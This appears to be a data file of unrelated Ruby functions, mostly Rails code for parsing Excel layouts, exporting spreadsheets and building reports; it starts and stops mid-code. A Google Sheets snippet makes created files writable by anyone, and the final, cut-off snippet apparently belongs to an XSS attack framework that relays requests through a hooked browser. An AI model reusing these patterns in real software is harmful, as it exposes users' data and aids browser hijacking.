end\n\t\t\t@screencode = report[:pobject_code_scr]\n\t\t\tif sheet.cells(1,1).value.nil?\n @books.Close\n logger.debug\t \"line #{__LINE__} error : cell(1,1) : must set some value sheet_name:#{sheet.name}\"\n @text_data << \"<p>line #{__LINE__} error : cell(1,1) : must set some value sheet_name:#{sheet.name}</p>\" and return\n render :text => @text_data and return\n\t\t\tend\n\t\t\t@margin = []\n @margin << sprintf(\"%.3f\",sheet.PageSetup.TopMargin * 0.394 /2).to_f\n @margin << sprintf(\"%.3f\",sheet.PageSetup.RightMargin * 0.394/2).to_f\n @margin << sprintf(\"%.3f\",sheet.PageSetup.BottomMargin * 0.394/2).to_f\n @margin << sprintf(\"%.3f\",sheet.PageSetup.LeftMargin * 0.394/2).to_f\n @paper[:orientation] = sheet.PageSetup.Orientation ##縦1 横 2\n @paper[:size] = sheet.PageSetup.PaperSize.to_i ## A3:8, A4:9, A5:11\n rowpos = 0.0 ##縦位置\n saverowpos = 0.0 #線種の始まり\n savecolumnpos = 0.0\n savecellrow = 0\n savecellcolumn = 0 \n rectsavecolor = 0\n rectsaverowpos = 0\n rectsavecolumnpos = 0\n rectwidthvalue = 0\n rectheight = 0 \n rectsavecellrow = 0\n rectsavecellcolumn = 0\n\t\t\trno_row = {}\n\t\t\trno_column = {}\n #### 横線種 box 項目作成\n sheet.UsedRange.Rows.each do |row|\n widthvalue = 0.0 ##横線長さ\n columnpos = 0.0 ##横位置\n rowpos += row.Height\n ###背景色処理\n rectrowpos = 0.0 ##縦位置\n rectcolumnpos = 0.0 ##縦位置\n @fill_rectangle_color << [rectsavecellrow,rectsavecellcolumn,rectsaverowpos,rectsavecolumnpos,rectwidthvalue,rectheight,rectsavecolor] if rectsavecolor != 0\n rectsavecellrow = 0\n rectsavecellcolumn = 0\n rectsavecolor = 0\n rectsaverowpos = 0\n rectsavecolumnpos = 0\n rectwidthvalue = 0\n rectheight = 0\n @wline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,widthvalue,savestyle,saveweight,savecolor] if savestyle != ExcelConst::XlLineStyleNone or saveweight != ExcelConst::XlThin or savecolor != 0\n savestyle = ExcelConst::XlLineStyleNone\n saveweight = ExcelConst::XlThin ##太さ\n savecolor = 0\n row.Columns.each do |cell|\n\t\t\t\t if cell.column == 1 \n\t\t\t\t\t if cell.value.to_s =~ /\\d/ then rno_row[cell.row] = cell.value.to_i else rno_row[cell.row] = 0 end\n\t\t\t\t\tend\t\n\t\t\t\t if cell.row == 1 \n\t\t\t\t\t if cell.value.to_s =~ /\\d/ then rno_column[cell.column] = cell.value.to_i else rno_column[cell.column] = 0 end\n\t\t\t\t\tend\t\n if cell.MergeCells\n if cell.MergeArea.Item(1,1).row == cell.row and cell.MergeArea.Item(1,1).column == cell.column and cell.column != 1 and cell.row != 1 \n\t @box_fields << [rno_row[cell.row]+rno_column[cell.column],\n\t\t\t\t\t\t\t [cell.row,cell.column,rowpos - row.Height,columnpos,cell.MergeArea.Font.size,cell.MergeArea.Item(1,1).Value.to_s,\n \t\t\t\t\t\t\t\t\t\tcell.MergeArea.Width,cell.MergeArea.Height,cell.MergeArea.Font.color,cell.MergeArea.HorizontalAlignment,\n\t\t\t\t\t\t\t\t\t\t\tcell.MergeArea.VerticalAlignment]] if cell.MergeArea.Item(1,1).Value\n\t end\n else\n\t if cell.Value and cell.column != 1 and cell.row != 1 \n\t @fields<< [rno_row[cell.row]+rno_column[cell.column],\n \t\t\t\t\t\t\t[cell.row,cell.column,rowpos,columnpos,cell.Font.size,cell.value.to_s,cell.Font.color]] ##if cell.Value.class != String\n\t end\n\t end ##cell.MergeCells\t\n\t if savestyle != cell.Borders(ExcelConst::XlEdgeBottom).LineStyle or saveweight != cell.Borders(ExcelConst::XlEdgeBottom).Weight or savecolor != cell.Borders(ExcelConst::XlEdgeBottom).Color then \n\t if savestyle != ExcelConst::XlLineStyleNone or saveweight != ExcelConst::XlThin or savecolor != 0 \n\t @wline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,widthvalue,savestyle,saveweight,savecolor]\n\t end ##if saveborder != ExcelConst::XlLineStyleNone\n\t widthvalue = 0.0\n\t if cell.Borders(ExcelConst::XlEdgeBottom).LineStyle == ExcelConst::XlLineStyleNone and cell.Borders(ExcelConst::XlEdgeBottom).Weight == ExcelConst::XlThin and cell.Borders(ExcelConst::XlEdgeBottom).Color == 0 then\n\t saverowpos = 0.0\n\t\t savecolumnpos = 0.0\n\t\t else\n\t\t saverowpos = rowpos \n\t\t savecellcolumn = cell.column\n\t\t savecellrow = cell.row\n\t\t savecolumnpos = columnpos\n end ## if cell.Borders(ExcelConst::XlEdgeBottom).LineStyle == ExcelConst::XlLineStyleNone\n\t savestyle = cell.Borders(ExcelConst::XlEdgeBottom).LineStyle \n saveweight = cell.Borders(ExcelConst::XlEdgeBottom).Weight\n savecolor = cell.Borders(ExcelConst::XlEdgeBottom).Color\n\t end ##if saveboder != cell.Borders(ExcelConst::XlEdgeBottom).LineStyle then \n\t widthvalue += cell.Width\n\t ################# 罫線処理終了\n\t #背景色処理開始\n\t if cell.MergeCells\t \n\t if cell.MergeArea.Item(1,1).row == cell.row and cell.MergeArea.Item(1,1).column == cell.column then\n\t\t if rectsavecolor != cell.MergeArea.Interior.Color then\n if rectsavecolor != 0 then\n\t\t @fill_rectangle_color << [rectsavecellrow,rectsavecellcolumn,rectsaverowpos,rectsavecolumnpos,rectwidthvalue,rectheight,rectsavecolor]\n\t\t\t rectwidthvalue = 0\n end\n\t\t if cell.MergeArea.Interior.Color == 0 then \n rectsavecellrow = rectsavecellcolumn = rectsaverowpos = rectsavecolumnpos = rectwidthvalue = rectheight = 0\n\t \t else\n\t\t rectsaverowpos = rowpos - cell.MergeArea.Height\n\t\t rectsavecellcolumn = cell.column\n\t\t rectsavecellrow = cell.row\n\t\t rectsavecolumnpos = columnpos\n\t\t rectsavecolor = cell.MergeArea.Interior.Color\n\t\t rectheight = cell.MergeArea.Height\n\t end ## cell.Interior.Color == \n\t\t end\n\t end ##cell.MergeArea.Item(1,1).row == cell.row and cell.MergeArea.Item(1,1).column == cell.column\n\t else\n\t if rectsavecolor != cell.Interior.Color then\n\t if rectsavecolor != 0 then \n\t\t @fill_rectangle_color << [rectsavecellrow,rectsavecellcolumn,rectsaverowpos,rectsavecolumnpos,rectwidthvalue,rectheight,rectsavecolor]\n\t\t rectwidthvalue = 0\n end\n\t if cell.Interior.Color == 0 then \n rectsavecellrow = rectsavecellcolumn = rectsaverowpos = rectsavecolumnpos = rectwidthvalue = rectheight = 0\n\t\t else\n\t\t rectsaverowpos = rowpos - cell.Height\n\t\t rectsavecellcolumn = cell.column\n\t\t rectsavecellrow = cell.row\n\t\t rectsavecolumnpos = columnpos\n\t\t rectsavecolor = cell.Interior.Color\n\t\t rectheight = cell.Height\n\t end ## cell.Interior.Color == \n\t end ####rectsavecolor != cell.Interior.Color\n\t end ### cell.MergeCells\n\t rectwidthvalue += cell.Width ##色の幅\n columnpos += cell.Width\n end ##column\n end ##row\n @fill_rectangle_color << [rectsavecellrow,rectsavecellcolumn,rectsaverowpos,rectsavecolumnpos,rectwidthvalue,rectheight,rectsavecolor] if rectsavecolor != 0\n @wline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,widthvalue,savestyle,saveweight,savecolor] if savestyle != ExcelConst::XlLineStyleNone\n rowpos = 0.0\n columnpos = 0.0\n saverowpos = 0.0\n savecolumnpos = 0.0\n saveheight = 0 \n savecellrow = 0\n savecellcolumn = 0\n sheet.UsedRange.Columns.each do |column| ###縦の罫線\n heightvalue = 0.0\n rowpos = 0.0\n\t @hline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,heightvalue,savestyle,saveweight,savecolor] if savestyle != ExcelConst::XlLineStyleNone or saveweight != ExcelConst::XlThin or savecolor != 0\n\t savestyle = column.Borders(ExcelConst::XlEdgeLeft).LineStyle\n\t saveweight = column.Borders(ExcelConst::XlEdgeLeft).Weight\n\t savecolor = column.Borders(ExcelConst::XlEdgeLeft).Color\n column.Rows.each do |cell|\n if savestyle != cell.Borders(ExcelConst::XlEdgeLeft).LineStyle or saveweight != cell.Borders(ExcelConst::XlEdgeLeft).Weight or savecolor != cell.Borders(ExcelConst::XlEdgeLeft).Color then \n\t if savestyle != ExcelConst::XlLineStyleNone or saveweight != ExcelConst::XlThin or savecolor != 0 then\n\t @hline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,heightvalue,savestyle,saveweight,savecolor]\n\t end ##if saveborder != ExcelConst::XlLineStyleNone\n\t heightvalue = 0.0\n\t if cell.Borders(ExcelConst::XlEdgeLeft).LineStyle == ExcelConst::XlLineStyleNone and saveweight == ExcelConst::XlThin and savecolor == 0 then\n\t saverowpos = 0.0\n\t\t savecolumnpos = 0.0\n\t\t else\n\t\t saverowpos = rowpos \n\t\t savecellcolumn = cell.column\n\t\t savecellrow = cell.row\n\t\t savecolumnpos = columnpos\n end ## if cell.Borders(ExcelConst::XlEdgeLeft).LineStyle == -4142 \n\t savestyle = cell.Borders(ExcelConst::XlEdgeLeft).LineStyle \n saveweight = cell.Borders(ExcelConst::XlEdgeLeft).Weight\n\t savecolor = cell.Borders(ExcelConst::XlEdgeLeft).Color\n\t end ##if saveboder != cell.Borders(ExcelConst::XlEdgeLeft).LineStyle then \n heightvalue += cell.Height\n\t rowpos += cell.Height\n end ##row\n\t @hline << [savecellrow,savecellcolumn,saverowpos,savecolumnpos,heightvalue,savestyle,saveweight,savecolor] if savestyle != ExcelConst::XlLineStyleNone\n columnpos += column.Width\n end ##column\n @prwanstr = \"### start ###\\n\"\n ##crt_prwan_pdf\n @subfields = plsql.__send__(@viewname).column_names\n chng_tblfield \n crt_prwan_org_pdf\n @prwanstr << \"##### /@sum = #{@sum} /###\\n\" \n strorderby = \"\"\n @sortkey.sort.each do |key,value|\n\t strorderby << value + \",\"\n end\n @prwanstr << \"##### /order by #{strorderby.chop} /#\\n\" if @sortkey.size>0\n @prwanstr << \"##### /pagekey = #{@pagekey} /#\\n\" if @pagekey.size>0\n ###crt_prwan_tst_pdf\t\t\n foo = File.open(\"#{Rails.root}/vendor/blk_pdf/#{@report_code}.rb\", \"w:UTF-8\") # 書き込みモード\n foo.puts @prwanstr\n foo.close\n\t\t\treplace_rep = {}\n\t\t\treplace_rep[:filename] = \"/vendor/blk_pdf/#{@report_code}.rb\"\n\t\t\treplace_rep[:where] = {:id=>report[:id]}\n\t\t\tplsql.reports.update replace_rep\n\t\t @text_data << \"<br><P>create pdf script #{@screencode}</p></br>\"\n end ##sheet\n @books.Close\t\t\n\t\trender :text => @text_data\n\t\trescue\n logger.debug\"class #{self} : LINE #{__LINE__} $@: #{$@} \" \n ##logger.debug\"class #{self} : LINE #{__LINE__} $!: #{$!} \"\n\t\t if @books\n\t\t\t @books.Close if respond_to?(\"@books.Close\")\n\t\t\tend\n\t\t\t@text_data << \"error check log \" \n\t\t\trender :text => @text_data and return\n\t\tend ##beigin\n end", "def download_printer_data\n \tSpreadsheet.client_encoding = 'UTF-8'\n\t\tbook = Spreadsheet::Workbook.new\n \t \tsheet1 = book.create_worksheet \n \t \tsheet1.name = \"Printer Data #{PrinterSelection.last.from_time} - #{PrinterSelection.last.to_time}\"\n \t \t\n \t \t#formatting\n \t \tdate_time = Spreadsheet::Format.new :number_format => 'DD/MM/YYYY hh:mm:ss'\n \t \tsheet1.column(4).default_format = date_time\n \t \tsheet1.column(5).default_format = date_time\n \t \t\n \t \tbold = Spreadsheet::Format.new :weight => :bold\n \t \tsheet1.row(0).default_format = bold\n \t \t \t \t\t\n \t \t#name\n \t \tsheet1.column(0).width = 20\n \t \t#project\n \t \tsheet1.column(1).width = 20\n \t \t#printer\n \t \tsheet1.column(2).width = 20\n \t \t#volume\n \t \tsheet1.column(3).width = 15\n \t \t#date\n \t \tsheet1.column(4).width = 20\n \t \t#time taken\n \t \tsheet1.column(5).width = 30\n \t \t#notes\n \t \tsheet1.column(6).width = 50\n \t \t\n \t \t#content\n \t \tsheet1.row(0).push 'Name', 'Project', 'Printer', 'Volume','Date', 'Time Taken (m)', 'Email', 'Notes'\n \t \tall_data = PrinterDatum.all\n sorted_all_data = all_data.sort{ |a,b| a.to_time <=> b.to_time}\n\t\tselection = PrinterSelection.last \t \t\t\n \t \trownum = 1\n sorted_all_data.each do |data| \n \t \t if data.from_time >= selection.from_time && data.to_time <= selection.to_time\t \t\t\t\t\n \t \t row = sheet1.row(rownum)\n\n \n from_time = data.from_time\n to_time = data.to_time\n distance_in_hours = (((to_time - from_time).abs) / 3600).round\n distance_in_minutes = ((((to_time - from_time).abs) % 3600) / 60).round\n\n difference_in_words = ''\n\n difference_in_words << \"#{distance_in_hours} #{distance_in_hours > 1 ? 'hours' : 'hour' } and \" if distance_in_hours > 0\n difference_in_words << \"#{distance_in_minutes} #{distance_in_minutes == 1 ? 'minute' : 'minutes' }\"\n\n email = FabricationUser.find_by(name: data.name).email\n\n \t \t\t\trow.push \"#{data.name}\"\n \t \t\t\trow.push \"#{data.project}\"\n \t \t\t\trow.push \"#{data.printer}\"\n \t \t\t\trow.push \"#{data.volume}\"\n \t \t\t\trow.push \"#{data.from_time.strftime \"%Y-%m-%d\"}\"\n row.push \"#{difference_in_words}\"\n row.push \"#{email}\"\n \t \t\t\trow.push \"#{data.notes}\"\n rownum += 1\n \t \t\tend\n \t \tend\n \t \t\n #name file\n \t\t@outfile = \"Printer_Data_#{selection.from_time.strftime \"%Y-%m-%d\"}_to_#{selection.to_time.strftime \"%Y-%m-%d\"}.xls\"\n \t\tPrinterSelection.delete_all\n \t\t\n \trequire 'stringio'\n \tdata = StringIO.new ''\n #write to book\n \tbook.write data\n #initiate download\n \tsend_data data.string, :type=>\"application/excel\", :disposition=>'attachment', :filename => @outfile\n end", "def go_B71_B3_A2(bandsArray)\n # CALLING eventNamesArray FUNCTION TO EXTRACT FROM bandsArray ALL EVENT NAMES INTO ARRAY eventNamesArray\n eventNamesArray = []\n eventNamesArray = getEventNamesArray(bandsArray)\n\n # COUNTER FOR LENGTH OF BANDS ARRAY FOR USE IN FUNCTIONS BELOW\n bandsLength = bandsArray.length\n band = bandsArray[0] \n loadingMessage()\n \n # STORES INSTANCE VARIABLE datesArrays FOR EACH BAND, RETURNS NEW OBJS OF BANDS WITH ARRAY OF DATES STORED (ARRAY USED TO PARSE OUT INCORRECT DATES IN B7/B3)\n dates(bandsArray)\n\n # DRIVERLOGIN.RB FUNCTION TO LOG INTO BACKEND AND FIND PROPER PAGE/IFRAME\n navigate($_userNameVar) \n sleep (7) ## \"CHANGE THIS TO form = wait.until\" ##\n\n # ARRAY FOR TIME STAMPS FOR TABLE TO IDENTIFY BY MINUTE AND HOUR WHICH EXCEL SHEETS TO DOWNLOAD WHEN READY\n initialCellTimeStampArray = []\n\n b71_b3_a2_Drivers(eventNamesArray, bandsLength, bandsArray, initialCellTimeStampArray)\n storeTable($_browser)\n checkTableDownload(bandsArray, initialCellTimeStampArray)\n browserDownloadFiles($_files_href)\n grabXlsxB71()\n b71Parse(eventNamesArray, bandsArray)\n puts \"\\n\\nB71 Parsed\\n\\n\"\n grabXlsxB3()\n b3Parse(eventNamesArray, bandsArray)\n puts \"\\n\\nB3 Parsed\\n\\n\"\n grabXlsxA2()\n a2Parse(eventNamesArray, bandsArray)\n puts \"\\n\\nA2 Parsed\\n\\n\"\n band.bandsArray = bandsArray\n band.eventNamesArray = eventNamesArray\n # RESET GLOBAL ARRAY TO EMTPY FOR B7_2\n $_files_href = []\nend", "def index\n\n\t\t\n\n\n\t\t$beginning = Time.now\n\n \n\t\t# Load the source Excel file, with all the special products info\n\t\t$source = Excel.new(\"Template_2013_05_10/source.xls\")\n\t\t#$source = Csv.new(\"Template_2013_05_10/source.csv\")\n\t\t$source.default_sheet = $source.sheets.first\n\t\t\n\t\t# Load the Magento template, which is in Open Office format\n\t\t#template = Openoffice.new(\"http://beta.topart.com/csv/Template_2012_11_28/template.ods\")\n\t\t#template = Csv.new(\"Template_2013_05_10/template.csv\")\n\t\tglobal_template = Openoffice.new(\"Template_2013_05_10/template.ods\")\n\t\tglobal_template.default_sheet = global_template.sheets.first\n\n\t\t# Automatically scan the template column names and store them in an associative array\n\t\t$template_dictionary = Hash.new\n\t\t\"A\".upto(\"GC\") do |alphabet_character|\n\t\t\tcell_content = \"#{global_template.cell(1, alphabet_character)}\"\n\t\t\t$template_dictionary[cell_content] = alphabet_character\n\t\tend\n\n\t\t#global_template = nil\n\n\t\tp \"Template headers loaded.\"\n\n\t\t# Automatically scan the source column names and store them in an associative array\n\t\t$source_dictionary = Hash.new\n\t\t\"A\".upto(\"BU\") do |alphabet_character|\n\t\t\tcell_content = \"#{$source.cell(1, alphabet_character)}\"\n\t\t\t$source_dictionary[cell_content] = alphabet_character\n\t\tend\n\n\t\tp \"Source headers loaded.\"\n\n\t\t# Load the retail_material_size spreadsheet file for paper\n\t\t$retail_photo_paper = Excel.new(\"Template_2013_05_10/retail_master.xls\")\n\t\t$retail_photo_paper.default_sheet = $retail_photo_paper.sheets[0]\n\n\t\t# Load the retail_material_size spreadsheet file for canvas\n\t\t$retail_canvas = Excel.new(\"Template_2013_05_10/retail_master.xls\")\n\t\t$retail_canvas.default_sheet = $retail_canvas.sheets[2]\n\n\t\t# Load the retail_framing spreadsheet file to extract framing, stretching and matting information\n\t\tretail_framing = Excel.new(\"Template_2013_05_10/retail_master.xls\")\n\t\tretail_framing.default_sheet = retail_framing.sheets[3]\n\n\n\t\t# MATERIAL -> PAPER\n\t\t# Automatically scan the source column names and store them in an associative array\n\t\t$retail_photo_paper_dictionary = Hash.new\n\t\t\"A\".upto(\"T\") do |alphabet_character|\n\t\t\tcell_content = \"#{$retail_photo_paper.cell(1, alphabet_character)}\"\n\t\t\t$retail_photo_paper_dictionary[cell_content] = alphabet_character\n\t\tend\n\n\t\tp \"Retail photo paper headers correctly loaded.\"\n\n\t\t# MATERIAL -> CANVAS\n\t\t# Automatically scan the source column names and store them in an associative array\n\t\t$retail_canvas_dictionary = Hash.new\n\t\t\"A\".upto(\"AR\") do |alphabet_character|\n\t\t\tcell_content = \"#{$retail_canvas.cell(1, alphabet_character)}\"\n\t\t\t$retail_canvas_dictionary[cell_content] = alphabet_character\n\t\tend\n\n\t\tp \"Retail canvas headers correctly loaded.\"\n\n\t\t$retail_framing_dictionary = Hash.new\n\t\t\"A\".upto(\"R\") do |alphabet_character|\n\t\t\tcell_content = \"#{retail_framing.cell(1, alphabet_character)}\"\n\t\t\t$retail_framing_dictionary[cell_content] = alphabet_character\n\t\tend\n\n\n\t\t# FRAMING, STRETCHING, MATTING\n\t\t# Automatically scan the source column names and store them in an associative array\n\t\t# Declare and fill the retail framing table\n\t\t$retail_framing_table = Array.new(retail_framing.last_row, 18)\n\t\ti = 0\n\n\t\t# Scan all the source rows and process the F21066 items only, and only once at the beginning for efficiency\n\t\t2.upto($source.last_row) do |source_line|\n\n\t\t\tprimary_vendor_no = \"#{$source.cell(source_line, $source_dictionary[\"PrimaryVendorNo\"])}\"\n\n\t\t\tif primary_vendor_no == \"F21066\" or primary_vendor_no == \"S73068\"\n\t\t\t\t$retail_framing_table[i] = Hash.new\n\n\t\t\t\t# Store all the MAS specific fields, which means the majority of them\n\t\t\t\t\"A\".upto(\"R\") do |alphabet_character|\n\t\t\t\t\theader = \"#{retail_framing.cell(1, alphabet_character)}\"\n\t\t\t\t\t$retail_framing_table[i][header] = \"#{$source.cell(source_line, $source_dictionary[header])}\"\n\t\t\t\tend\n\n\t\t\t\t# Store the spreadsheet retail prices only\n\t\t\t\t2.upto(retail_framing.last_row) do |k|\n\t\t\t\t\t#$retail_framing_table[i] = Hash.new\n\n\t\t\t\t\t\"C\".upto(\"F\") do |alphabet_character|\n\t\t\t\t\t\tcell_content = \"#{retail_framing.cell(1, alphabet_character)}\"\n\n\t\t\t\t\t\tif $retail_framing_table[i][\"Item Code\"] == \"#{retail_framing.cell(k, $retail_framing_dictionary[\"Item Code\"])}\"\n\t\t\t\t\t\t\t$retail_framing_table[i][cell_content] = \"#{retail_framing.cell(k, alphabet_character)}\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\ti = i + 1\n\n\t\t\tend\n\n\t\tend\n\n\t\tp \"The F21066 items have been correctly loaded.\"\n\n\t\t#written_categories = []\n\t\t$global_alternate_size_array = Array.new\n\n\t\t# Load a hash table with all the item codes from the products spreadsheet. Used to check the presence of DGs and corresponding posters\n\t\t$item_source_line = Hash.new\n\n\t\t#7000.upto($source.last_row) do |source_line|\n\t\t2.upto($source.last_row) do |source_line|\n\t\t\titem_code = \"#{$source.cell(source_line, $source_dictionary[\"Item Code\"])}\"\n\t\t\t$item_source_line[item_code] = source_line\n\t\tend\n\n\t\tp \"All the source lines have been correctly mapped.\"\n\n\t\t# We use the following hash table to track DG products that should contain the additional poster size as a custom option\n\t\t$posters_and_dgs_hash_table = Hash.new\n\t\t$poster_only_hash_table = Hash.new\n\n\t\t$template_counter = 1\n\n\t\t#thread_i = 2\n\t\t#row_range = 50\n\t\t#limit = $source.last_row\n\t\t#limit = 100\n\t\t#thread_pool = Array.new\n\n\t\t#while thread_i < limit\n\t\t#\tthread_pool << Thread.new{parallel_write(thread_i, thread_i + row_range - 1)}\n\t\t#\tthread_i = thread_i + row_range\n\t\t#end\t\n\n\t\t\n\t\t#for thread in thread_pool\n\t\t#\tthread.join\n\t\t#end\n\n\t\t#$global_alternate_size_array << \"XWL4870\"\n\n\n\t\tdef pre_process_alternate_sizes(start, finish)\n\n\t\t\ttemp_i = start\n\t\t\ttemp_x = finish\n\n\t\t\twhile temp_i <= temp_x\n\n\t\t\t\titem_code = \"#{$source.cell(temp_i, $source_dictionary[\"Item Code\"])}\"\n\n\t\t\t\ta = \"#{$source.cell(temp_i, $source_dictionary[\"UDF_ALTS1\"])}\".gsub(' ','')\n\t\t\t\tb = \"#{$source.cell(temp_i, $source_dictionary[\"UDF_ALTS2\"])}\".gsub(' ','')\n\t\t\t\tc = \"#{$source.cell(temp_i, $source_dictionary[\"UDF_ALTS3\"])}\".gsub(' ','')\n\t\t\t\td = \"#{$source.cell(temp_i, $source_dictionary[\"UDF_ALTS4\"])}\".gsub(' ','')\n\t\t\t\t\n\t\t\t\tif !a.blank?\n\t\t\t\t\t\n\t\t\t\t\t$global_alternate_size_array << a\n\t\t\t\tend\n\t\t\t\tif !b.blank?\n\t\t\t\t\n\t\t\t\t\t$global_alternate_size_array << b\n\t\t\t\tend\n\t\t\t\tif !c.blank?\n\t\t\t\t\t\n\t\t\t\t\t$global_alternate_size_array << c\n\t\t\t\tend\n\t\t\t\tif !d.blank?\n\t\t\t\t\t\n\t\t\t\t\t$global_alternate_size_array << d\n\t\t\t\tend\n\n\t\t\t\t# If the current sku is an alternate size of a sku we have already met, then skip it and go to the next item number\n\t\t\t\tif ($global_alternate_size_array.include?(item_code))\n\t\t\t\t\t\n\t\t\t\t\tp item_code + \" already scanned.\"\n\n\t\t\t\t\t$global_alternate_size_array << item_code\n\t\t\t\tend\n\n\t\t\t\ttemp_i = temp_i + 1\n\n\t\t\tend\n\t\tend\n\n\n\t\tpre_process_alternate_sizes(2, 14400)\n\n\t\tt1 = Thread.new{parallel_write(14402, $source.last_row)}\n\t\t#t1 = Thread.new{parallel_write(2, 10)}\n\t\t#t1 = Thread.new{parallel_write(9020, 9030)}\n\t\t#t1 = Thread.new{parallel_write(2, 51)}\n\t\t#t2 = Thread.new{parallel_write(52, 101)}\n\t\t#t3 = Thread.new{parallel_write(102, 151)}\n\t\t#t4 = Thread.new{parallel_write(152, 201)}\n\n\t\tt1.join\n\t\t#t2.join\n\t\t#t3.join\n\t\t#t4.join\n\n\t\tputs \"The overall running time has been #{Time.now - $beginning} seconds.\"\n\n\t\t# Accessing this view launch the service automatically\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\tend\n\n\tend", "def performance_xls\n plate = Plate.find(params['id'])\n path = plate.get_performance_xls\n send_file(path, :type => \"application/vnd.ms-excel\")\n end", "def save_as_xls(s_s,save_as)\n sleep 1\n s_s[2].saveas(save_as)\nend", "def browser_window\n IITBrowserWindow.new(@ole.BrowserWindow)\n end", "def index\n @email_reminders = EmailReminder.all\n @email_reminder = EmailReminder.new\n session[:active_tab] = \"InformationManagement\"\n session[:active_tab1] = \"Events\"\n end", "def save\n update_type = (@sheet.new_record? ? \"public_sheet_create\" : \"public_sheet_update\")\n if SheetTransaction.save_sheet!(@sheet, {}, variables_params, nil, request.remote_ip, update_type)\n proceed_to_next_design\n else\n render :design\n end\n end", "def reports\n battery = Battery.find(params[:battery_id])\n @date1 = Date.parse(params[:date1])\n @date2 = Date.parse(params[:date2])\n @station = battery.station\n package = Axlsx::Package.new\n workbook = package.workbook\n @tests = BatteryWeeklyTest.find(:all, :conditions => [\"DATE(created_at) >= ? AND DATE(created_at) <= ?\", @date1, @date2], :order => \"created_at DESC\")\n\n workbook.add_worksheet(name: \"Sheet 1\") do |sheet|\n # sheet.add_image(:image_src => Rails.root.join('public','images','ntlogo.png').to_s, :noSelect => true, :noMove => true) do |image|\n # image.width=70\n # image.height=71\n # image.start_at 22, 14\n # image.end_at 1, 1\n # end\n sheet.add_row [\"Weekly Test Report on #{@date} of station #{@station.name}\"]\n @tests.each_slice(24).with_index do |slice, index|\n sheet.add_row [\"Bank No #{ index + 1}\"]\n sheet.add_row [\"Cell No.\", \"Total Voltage\", \"Visual Inspection\", \"Reported by\", \"Reported date\"], :style => Axlsx::STYLE_THIN_BORDER\n slice.each_with_index do |t, i|\n sheet.add_row [i+1, t.cell_voltage, t.visual_inspection,t.inserted_by, t.created_at.to_s], :style => Axlsx::STYLE_THIN_BORDER \n end\n sheet.column_widths 10,nil, 23, 23, 23\n sheet.merge_cells(\"A1:D1\")\n end\n end\n send_data package.to_stream.read, :filename => 'report.xlsx', :type => \"application/vnd.openxmlformates-officedocument.spreadsheetml.sheet\"\n end", "def show\n session = GoogleDrive.login(@company.gmail, @company.gpassword)\n\n # Schedule Sheet\n @ss = session.spreadsheet_by_key(@company.drive_id).worksheets[0]\n @schedule = []\n\n for i in 1..@ss[1, 2].to_i do\n hash = { :id => (i+1), :name => @ss[i+1, 4], :start_time => @ss[i+1, 5][0..1].to_i, :end_time => @ss[i+1, 6][0..1].to_i, :note => @ss[i+1, 10] }\n @schedule << hash\n end\n\n #Event Sheet\n @es = session.spreadsheet_by_key(@company.drive_id).worksheets[1]\n @events = []\n for i in 1..@es[1,2].to_i do\n @events << @es[i,3]\n end\n\n\n @new_comment = SpreadsheetComment.new\n @comments = SpreadsheetComment.where(:employee_id => 1, :commented_on => nil).order('created_at DESC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @company }\n end\n end", "def newSheet(table, taskName, id=nil)\n # open the Google Sheet service\n service = Google::Apis::SheetsV4::SheetsService.new\n service.client_options.application_name = APPLICATION_NAME\n service.authorization = authorize\n\n # open the Google Drive service\n drive = Google::Apis::DriveV3::DriveService.new\n drive.client_options.application_name = APPLICATION_NAME\n drive.authorization = authorize\n puts \"id in export sheet\"\n puts id\n\n #create a new sheet\n if id == nil\n\n spreadsheet = {\n properties: {\n title: taskName\n }\n }\n spreadsheet = service.create_spreadsheet(spreadsheet,\n fields: 'spreadsheetId')\n puts \"Spreadsheet ID: #{spreadsheet.spreadsheet_id}\"\n #fill the sheet with the data 'table'\n data = [\n {\n range: 'A:Z',\n majorDimension: \"ROWS\",\n values: table,\n }\n ]\n value_range_object = Google::Apis::SheetsV4::ValueRange.new(range: 'A:Z',\n majorDimension: \"ROWS\",\n values: table)\n result = service.update_spreadsheet_value(spreadsheet.spreadsheet_id,\n 'A:Z',\n value_range_object,\n value_input_option: 'RAW')\n puts = \"#{result.updated_cells} cells updated.\"\n file = drive.get_file(spreadsheet.spreadsheet_id)\n puts \"Create this file name: #{file.name}\"\n id = spreadsheet.spreadsheet_id\n\n ##\n # change the permision of the created file\n # line in google-api-ruby-client/lib/google/apis/core/api_command.rb return {} and make and error.\n # self.body = request_representation.new(request_object).to_json(user_options: { skip_undefined: true })\n #\n data = \n {\n \"role\" => \"writer\",\n \"type\" => \"anyone\"\n }\n # byebug\n permision = drive.create_permission(id, data.to_json,\n options: {skip_serialization: true})\n \n link = \"https://docs.google.com/spreadsheets/d/#{file.id}\"\n puts \"use this link: #{link}\"\n \n return link\n ##\n # Updating the file with new information\n else\n id = id.split('/')[5]\n file = drive.get_file(id)\n #geting the info of the sheet\n get_celds = service.get_spreadsheet_values(id, 'A:C')\n #byebug\n puts get_celds.values.length\n n = get_celds.values.length + 1\n range = \"A#{n}:B#{n}\"\n #write!\n value_range_object = Google::Apis::SheetsV4::ValueRange.new(range: range,\n values: table)\n result = service.update_spreadsheet_value(id,\n range,\n value_range_object,\n value_input_option: 'RAW')\n puts \"Updating this: #{file.name}\"\n link = \"https://docs.google.com/spreadsheets/d/#{file.id}\"\n puts \"use this link: #{link}\"\n return link\n end\nend", "def http_request_module(res, url, req, id)\n\t\t\t\tdata = run_http_client(url, req, false)\n\n\t\t\t\tif (data != nil)\n\t\t\t\t\tdata.headers['P3P'] \t\t= 'CP=\"HONK IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA\"'\n\t\t\t\t\tdata.headers['Set-Cookie'] \t= \"id=#{id}; Path=/;\"\n\t\t\t\t\t\t\t\t\n\t\t\t\t\tcase (data.code).to_s\n\t\t\t\t\t\twhen /1..|4..|5../\n\t\t\t\t\t\t\tXSSF_404(res)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\twhen /3../\n\t\t\t\t\t\t\tif (data['Location'])\n\t\t\t\t\t\t\t\tsrc = 